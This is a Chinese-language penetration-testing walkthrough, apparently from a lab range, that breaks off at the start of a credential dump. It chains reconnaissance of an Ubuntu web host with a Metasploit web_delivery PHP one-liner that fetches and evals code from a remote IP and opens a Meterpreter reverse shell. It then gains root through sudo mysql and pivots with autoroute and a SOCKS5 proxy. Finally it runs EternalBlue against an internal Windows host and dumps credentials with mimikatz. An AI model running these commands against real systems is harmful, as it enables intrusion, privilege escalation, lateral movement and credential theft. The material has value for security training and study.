PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
(www-data:/var/www/html) $ ip addr 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host valid_lft forever preferred_lft forever 2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000 link/ether 00:16:3e:28:42:13 brd ff:ff:ff:ff:ff:ff inet 172.22.1.15/16 brd 172.22.255.255 scope global dynamic eth0 valid_lft 1892154016sec preferred_lft 1892154016sec inet6 fe80::216:3eff:fe28:4213/64 scope link valid_lft forever preferred_lft forever
可以发现:
本机的内网 IP:172.22.1.15
内网网段:172.22.0.0/16
(www-data:/var/www/html) $ hostname && cat /etc/issue && uname -a && cat /etc/hosts ubuntu-web01 Ubuntu 20.04.4 LTS \n \l Linux ubuntu-web01 5.4.0-110-generic #124-Ubuntu SMP Thu Apr 14 19:46:19 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux 127.0.0.1 localhost # The following lines are desirable for IPv6 capable hosts ::1 localhost ip6-localhost ip6-loopback ff02::1 ip6-allnodes ff02::2 ip6-allrouters 127.0.1.1 s02g07017.cloud.em160.tbsite.net s02g07017 172.22.1.15 ubuntu-web01 ubuntu-web01
架构:x86_64
OS:Ubuntu
查看内核的具体版本信息:
(www-data:/var/www/html) $ cat /proc/version Linux version 5.4.0-110-generic (buildd@ubuntu) (gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.1)) #124-Ubuntu SMP Thu Apr 14 19:46:19 UTC 2022
查看路由:
(www-data:/var/www/html) $ ip route show default via 172.22.255.253 dev eth0 proto dhcp src 172.22.1.15 metric 100 172.22.0.0/16 dev eth0 proto kernel scope link src 172.22.1.15 172.22.255.253 dev eth0 proto dhcp scope link src 172.22.1.15 metric 100
Matching Defaults entries for www-data on ubuntu-web01: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User www-data may run the following commands on ubuntu-web01: (root) NOPASSWD: /usr/bin/mysql
无需密码即可使用 mysql 命令,通过网站(https://gtfobins.org/)查询提权命令:
use multi/script/web_delivery msf exploit(multi/script/web_delivery) > set target PHP msf exploit(multi/script/web_delivery) > set LHOST <VPS_IP> msf exploit(multi/script/web_delivery) > set SRVPORT 6666 msf exploit(multi/script/web_delivery) > set payload payload/php/meterpreter/reverse_tcp
注意也需要配置 VPS 反向代理,并且开放防火墙。
run 之后就能得到命令,复制到之前的蚁剑终端或者直接 Burp POST 传输都可以,执行成功后会获得一个 www-data 用户的 session:
msf exploit(multi/script/web_delivery) > run [*] Exploit running as background job 0. [*] Exploit completed, but no session was created.
[-] Handler failed to bind to 118.31.3.148:4444:- - [*] Started reverse TCP handler on 0.0.0.0:4444 msf exploit(multi/script/web_delivery) > [*] Using URL: http://118.31.3.148:6666/2pHiURSe [*] Server started. [*] Run the following command on the target machine: php -d allow_url_fopen=true -r "eval(file_get_contents('http://118.31.3.148:6666/2pHiURSe', false, stream_context_create(['ssl'=>['verify_peer'=>false,'verify_peer_name'=>false]])));" [*] 127.0.0.1 web_delivery - Delivering Payload (1113 bytes) [*] Sending stage (42137 bytes) to 127.0.0.1 [*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:35504) at 2026-04-09 16:14:56 +0800
msf exploit(multi/script/web_delivery) > sessions
Active sessions ===============
Id Name Type Information Connection -- ---- ---- ----------- ---------- 1 meterpreter php/linux www-data @ ubuntu-web01 127.0.0.1:4444 -> 127.0.0.1:35504 (127.0.0.1)
进入该 session:
sessions -i 1
切换成 shell:
meterpreter > shell
查看是否有 paython:
python3 --version Python 3.8.10
可以用 python 实施 shell 稳定化操作,输入:
python3 -c 'import pty;pty.spawn("/bin/bash")'
效果:
提权:
sudo mysql -e '\! /bin/bash'
提权成功。
现在就可以重复之前的操作返回一个 root 用户的 session 了。
这里省略相关步骤,因为步骤是重复的。
直接上结果:
msf exploit(multi/script/web_delivery) > sessions
Active sessions ===============
Id Name Type Information Connection -- ---- ---- ----------- ---------- 1 meterpreter x64/linux root @ ubuntu-web01 127.0.0.1:6667 -> 127.0.0.1:42104 (127.0.0.1)
meterpreter > run autoroute -s 172.22.0.0/16 [!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute. [!] Example: run post/multi/manage/autoroute OPTION=value [...] [*] Adding a route to 172.22.0.0/255.255.0.0... [+] Added route to 172.22.0.0/255.255.0.0 via 127.0.0.1 [*] Use the -p option to list all active routes
socks 5 代理:
先退回到 msf>:
meterpreter > bg
建立代理:
msf exploit(multi/script/web_delivery) > use auxiliary/server/socks_proxy msf auxiliary(server/socks_proxy) > set SRVHOST 127.0.0.1 SRVHOST => 127.0.0.1 msf auxiliary(server/socks_proxy) > set SRVPORT 1080 SRVPORT => 1080 msf auxiliary(server/socks_proxy) > set VERSION 5 VERSION => 5 msf auxiliary(server/socks_proxy) > run -j [*] Auxiliary module running as background job 1. msf auxiliary(server/socks_proxy) > job [*] Starting the SOCKS proxy server
2、使用永恒之蓝模块
接下来就是模块打永恒之蓝:
use windows/smb/ms17_010_eternalblue
并且我们采用 bind shell 的方式(因为内网无回连我们攻击机的路由):
set payload payload/windows/x64/meterpreter/bind_tcp set RHOST 172.22.1.21
run 之后就能得到该主机的 meterpreter shell 了。
永恒之蓝本身就不是很稳定,有几率让目标蓝屏,因此如果不行的话可以多尝试几次。
查看权限:
meterpreter > getuid Server username: NT AUTHORITY\SYSTEM
直接就是最高权限。
3、信息搜集
(1)凭证抓取
meterpreter > getuid Server username: NT AUTHORITY\SYSTEM meterpreter > load kiwi Loading extension kiwi... .#####. mimikatz 2.2.0 20191125 (x64/windows) .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) ## \ / ## > http://blog.gentilkiwi.com/mimikatz '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com ) '#####' > http://pingcastle.com / http://mysmartlogon.com ***/
Success. meterpreter > creds_all [+] Running as SYSTEM [*] Retrieving all credentials msv credentials ===============